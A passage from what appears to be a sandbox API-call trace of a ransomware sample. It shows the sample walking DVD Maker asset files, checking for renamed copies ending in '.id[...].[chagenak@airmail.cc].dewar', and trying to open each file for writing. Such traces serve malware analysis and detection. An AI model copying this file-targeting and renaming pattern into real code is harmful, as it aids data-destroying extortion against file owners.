[0254.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.053] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=261220) returned 1 [0254.053] CloseHandle (hObject=0xe0) returned 1 [0254.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv")) returned 0x20 [0254.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv")) returned 0x20 [0254.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.054] SetEvent (hEvent=0x118) returned 1 [0254.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.056] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=797322) returned 1 [0254.056] CloseHandle (hObject=0xe0) returned 1 [0254.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv")) returned 0x20 [0254.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv")) returned 0x20 [0254.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.058] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=869322) returned 1 [0254.058] CloseHandle (hObject=0xe0) returned 1 [0254.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv")) returned 0x20 [0254.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv")) returned 0x20 [0254.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.060] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=933322) returned 1 [0254.060] CloseHandle (hObject=0xe0) returned 1 [0254.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv")) returned 0x20 [0254.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv")) returned 0x20 [0254.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.065] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=989322) returned 1 [0254.065] CloseHandle (hObject=0xe0) returned 1 [0254.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv")) returned 0x20 [0254.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv")) returned 0x20 [0254.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.067] SetEvent (hEvent=0x118) returned 1 [0254.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.068] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5372) returned 1 [0254.068] CloseHandle (hObject=0xe0) returned 1 [0254.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png")) returned 0x20 [0254.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png")) returned 0x20 [0254.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.070] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4724) returned 1 [0254.070] CloseHandle (hObject=0xe0) returned 1 [0254.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png")) returned 0x20 [0254.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png")) returned 0x20 [0254.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.072] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4710) returned 1 [0254.072] CloseHandle (hObject=0xe0) returned 1 [0254.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png")) returned 0x20 [0254.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png")) returned 0x20 [0254.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.079] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=22969) returned 1 [0254.080] CloseHandle (hObject=0xe0) returned 1 [0254.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png")) returned 0x20 [0254.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png")) returned 0x20 [0254.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.082] SetEvent (hEvent=0x118) returned 1 [0254.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.083] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5647) returned 1 [0254.083] CloseHandle (hObject=0xe0) returned 1 [0254.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png")) returned 0x20 [0254.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png")) returned 0x20 [0254.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.085] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3214) returned 1 [0254.085] CloseHandle (hObject=0xe0) returned 1 [0254.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png")) returned 0x20 [0254.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png")) returned 0x20 [0254.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.831] SetEvent (hEvent=0x118) returned 1 [0254.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.832] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3081) returned 1 [0254.832] CloseHandle (hObject=0x1e0) returned 1 [0254.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png")) returned 0x20 [0254.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png")) returned 0x20 [0254.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.835] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=24066) returned 1 [0254.835] CloseHandle (hObject=0x1e0) returned 1 [0254.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png")) returned 0x20 [0254.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png")) returned 0x20 [0254.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.837] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2962) returned 1 [0254.837] CloseHandle (hObject=0x1e0) returned 1 [0254.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png")) returned 0x20 [0254.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png")) returned 0x20 [0254.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.839] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2928) returned 1 [0254.839] CloseHandle (hObject=0x1e0) returned 1 [0254.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png")) returned 0x20 [0254.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png")) returned 0x20 [0254.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program 